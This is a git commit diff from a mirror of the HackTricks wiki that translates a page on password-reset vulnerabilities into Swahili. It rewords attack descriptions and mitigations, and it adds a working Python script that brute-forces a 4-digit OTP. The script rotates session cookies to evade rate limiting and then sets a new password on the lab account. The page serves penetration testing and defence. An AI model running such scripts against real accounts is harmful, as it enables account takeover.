mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to sw
This commit is contained in:
parent
bda534587b
commit
2f944563f6
@ -17,9 +17,9 @@
|
||||
- Washambuliaji wanaweza kubadilisha header ya Host wakati wa maombi ya kurekebisha nenosiri ili kuelekeza kiungo cha kurekebisha kwenye tovuti mbaya.
|
||||
- **Impact**: Inasababisha uwezekano wa kuchukua akaunti kwa kuvuja token za kurekebisha kwa washambuliaji.
|
||||
- **Mitigation Steps**:
|
||||
- Thibitisha header ya Host dhidi ya orodha ya domain zilizoruhusiwa.
|
||||
- Thibitisha header ya Host dhidi ya orodha ya domain zinazoruhusiwa.
|
||||
- Tumia mbinu salama, za upande wa seva ili kuunda URLs kamili.
|
||||
- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kuunda URLs za kurekebisha nenosiri badala ya `$_SERVER['HTTP_HOST']`.
|
||||
- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kujenga URLs za kurekebisha nenosiri badala ya `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
@ -70,9 +70,9 @@ POST /resetPassword
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Hatua za Kupunguza**:
|
||||
- Pitia na kuthibitisha ipasavyo vigezo vya barua pepe upande wa seva.
|
||||
- Tumia taarifa zilizopangwa au maswali yenye vigezo ili kuzuia mashambulizi ya kuingiza.
|
||||
- **Marejeleo**:
|
||||
- Pitia na kuthibitisha vigezo vya barua pepe upande wa seva.
|
||||
- Tumia taarifa zilizopangwa au maswali yaliyopangwa ili kuzuia mashambulizi ya kuingiza.
|
||||
- **Marejeo**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
@ -86,14 +86,14 @@ POST /api/changepass
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Hatua za Kupunguza**:
|
||||
- Hakikisha uthibitisho mkali wa vigezo na ukaguzi wa uthibitisho.
|
||||
- Tekeleza ufuatiliaji na uandishi wa habari thabiti ili kugundua na kujibu shughuli za kushuku.
|
||||
- Hakikisha uthibitisho wa vigezo na ukaguzi wa uthibitisho ni mkali.
|
||||
- Tekeleza ufuatiliaji na uandishi wa habari wenye nguvu ili kugundua na kujibu shughuli za kushuku.
|
||||
- **Marejeo**:
|
||||
- [Uchukue Akaunti Kamili kupitia Ubadilishaji wa Vigezo vya API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Hakuna Kizuizi cha Kiwango: Barua Pepe ya Kumbukumbu**
|
||||
|
||||
- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe ya kumbukumbu, ikimzidisha mtumiaji barua pepe za kurekebisha.
|
||||
- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe nyingi, kumshughulisha mtumiaji na barua pepe za kurekebisha.
|
||||
- **Hatua za Kupunguza**:
|
||||
- Tekeleza kizuizi cha kiwango kulingana na anwani ya IP au akaunti ya mtumiaji.
|
||||
- Tumia changamoto za CAPTCHA kuzuia matumizi ya kiotomatiki.
|
||||
@ -110,43 +110,43 @@ POST /api/changepass
|
||||
- Kulingana na Tarehe ya Kuzaliwa
|
||||
- Kulingana na Cryptography
|
||||
- **Hatua za Kupunguza**:
|
||||
- Tumia mbinu thabiti za kijasusi kwa uzalishaji wa token.
|
||||
- Hakikisha kutokuwa na utabiri na urefu wa kutosha kuzuia utabiri.
|
||||
- **Zana**: Tumia Burp Sequencer kuchambua kutokuwa na utabiri kwa token.
|
||||
- Tumia njia za nguvu, za kisasa za uzalishaji wa token.
|
||||
- Hakikisha kuna kutokuwa na mpangilio wa kutosha na urefu ili kuzuia kutabirika.
|
||||
- **Zana**: Tumia Burp Sequencer kuchambua kutokuwa na mpangilio kwa token.
|
||||
|
||||
## **UUID Inayoweza Kukisiwa**
|
||||
|
||||
- Ikiwa UUIDs (toleo la 1) zinaweza kukisiwa au kutabiriwa, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia:
|
||||
- Ikiwa UUIDs (toleo 1) zinaweza kukisiwa au kutabirika, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Hatua za Kupunguza**:
|
||||
- Tumia toleo la GUID 4 kwa kutokuwa na utabiri au tekeleza hatua za ziada za usalama kwa matoleo mengine.
|
||||
- Tumia toleo la GUID 4 kwa kutokuwa na mpangilio au tekeleza hatua za ziada za usalama kwa toleo zingine.
|
||||
- **Zana**: Tumia [guidtool](https://github.com/intruder-io/guidtool) kwa uchambuzi na uzalishaji wa GUIDs.
|
||||
|
||||
## **Manipulering ya Jibu: Badilisha Jibu Mbaya na Jibu Nzuri**
|
||||
## **Manipulering ya Majibu: Badilisha Jibu Mbaya na Jibu Nzuri**
|
||||
|
||||
- Kubadilisha majibu ya HTTP ili kupita ujumbe wa makosa au vizuizi.
|
||||
- **Hatua za Kupunguza**:
|
||||
- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uadilifu wa jibu.
|
||||
- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uaminifu wa majibu.
|
||||
- Tumia njia salama za mawasiliano kama HTTPS kuzuia mashambulizi ya mtu katikati.
|
||||
- **Marejeo**:
|
||||
- [Kosa Muhimu katika Tukio la Bug Bounty la Moja kwa Moja](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Kutumia Token Iliyokwisha**
|
||||
## **Kutumia Token Iliyokwisha Muda**
|
||||
|
||||
- Kuangalia ikiwa token zilizokwisha zinaweza bado kutumika kwa ajili ya kurekebisha nenosiri.
|
||||
- Kuangalia ikiwa token zilizokwisha muda zinaweza bado kutumika kwa ajili ya kurekebisha nenosiri.
|
||||
- **Hatua za Kupunguza**:
|
||||
- Tekeleza sera kali za kuisha kwa token na kuthibitisha kuisha kwa token upande wa seva.
|
||||
- Tekeleza sera kali za kumalizika kwa token na kuthibitisha kumalizika kwa token upande wa seva.
|
||||
|
||||
## **Token ya Kurekebisha Nenosiri kwa Njia ya Nguvu**
|
||||
## **Jaribio la Nenosiri la Kurekebisha Token**
|
||||
|
||||
- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango kulingana na IP.
|
||||
- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango vya IP.
|
||||
- **Hatua za Kupunguza**:
|
||||
- Tekeleza kizuizi thabiti cha kiwango na mifumo ya kufunga akaunti.
|
||||
- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya nguvu.
|
||||
- Tekeleza kizuizi cha kiwango chenye nguvu na mifumo ya kufunga akaunti.
|
||||
- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya kujaribu nguvu.
|
||||
|
||||
## **Jaribu Kutumia Token Yako**
|
||||
|
||||
@ -154,17 +154,81 @@ uuid-insecurities.md
|
||||
- **Hatua za Kupunguza**:
|
||||
- Hakikisha kwamba token zimefungwa kwa kikao cha mtumiaji au sifa nyingine maalum za mtumiaji.
|
||||
|
||||
## **Kuondolewa kwa Kikao katika Kutoka/Kurekebisha Nenosiri**
|
||||
## **Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri**
|
||||
|
||||
- Hakikisha kwamba vikao vinatolewa wakati mtumiaji anapotoka au kurekebisha nenosiri lake.
|
||||
- Hakikisha kwamba vikao vinabatilishwa wakati mtumiaji anapotoka au kurekebisha nenosiri yao.
|
||||
- **Hatua za Kupunguza**:
|
||||
- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinatolewa wakati wa kutoka au kurekebisha nenosiri.
|
||||
- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinabatilishwa wakati wa kutoka au kurekebisha nenosiri.
|
||||
|
||||
## **Kuondolewa kwa Kikao katika Kutoka/Kurekebisha Nenosiri**
|
||||
## **Ubatilishaji wa Kikao katika Kutoka/Kurekebisha Nenosiri**
|
||||
|
||||
- Token za kurekebisha zinapaswa kuwa na muda wa kuisha baada ya hapo zinakuwa batili.
|
||||
- Token za kurekebisha zinapaswa kuwa na muda wa kumalizika baada ya hapo zinakuwa zisizo halali.
|
||||
- **Hatua za Kupunguza**:
|
||||
- Weka muda wa kuisha unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva.
|
||||
- Weka muda wa kumalizika unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva.
|
||||
|
||||
## **Kizuizi cha kiwango cha OTP kwa kubadilisha kikao chako**
|
||||
|
||||
- Ikiwa tovuti inatumia kikao cha mtumiaji kufuatilia majaribio mabaya ya OTP na OTP ilikuwa dhaifu ( <= 4 digits) basi tunaweza kwa ufanisi kujaribu nguvu OTP.
|
||||
- **kuvamia**:
|
||||
- omba tu token mpya ya kikao baada ya kuzuia na seva.
|
||||
- **Mfano** wa msimbo unaovamia kosa hili kwa kukisia kwa bahati nasibu OTP (unapobadilisha kikao, OTP itabadilika pia, na hivyo hatutakuwa na uwezo wa kujaribu nguvu kwa mpangilio!):
|
||||
|
||||
``` python
|
||||
# Uhamasishaji wa uthibitisho kwa kurekebisha nenosiri
|
||||
# na coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||
}
|
||||
url = "http://10.10.12.231:1337/reset_password.php"
|
||||
logout = "http://10.10.12.231:1337/logout.php"
|
||||
root = "http://10.10.12.231:1337/"
|
||||
|
||||
parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Kuanzisha shambulio!")
|
||||
sleep(3)
|
||||
print("[+] Hii inaweza kuchukua takriban dakika 5 kumaliza!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nambari ya bahati nasibu kutoka 0 - 9999 na 4 d
|
||||
parms["s"] = 164 # si muhimu inathiri tu mbele
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # fuata idadi ya majaribio
|
||||
out = requests.get(logout,headers=headers) # kukutoa
|
||||
mainp = requests.get(root) # inapata phpssid nyingine (token)
|
||||
|
||||
cookies = out.cookies # toa sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #sasisha vichwa na kikao kipya
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # inatuma barua pepe kubadilisha nenosiri kwa
|
||||
ter = 0 # rejesha ter ili tupate kikao kipya baada ya majaribio 8
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # hii ni urefu wa ukurasa unapopata nambari ya urejelezi kwa usahihi (imepata kwa majaribio)
|
||||
print(len(res.text)) # kwa habari ya debug
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # hapa tutabadilisha nenosiri kuwa kitu kipya
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Nenosiri limebadilishwa kuwa:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Shambulio limekoma")
|
||||
```
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user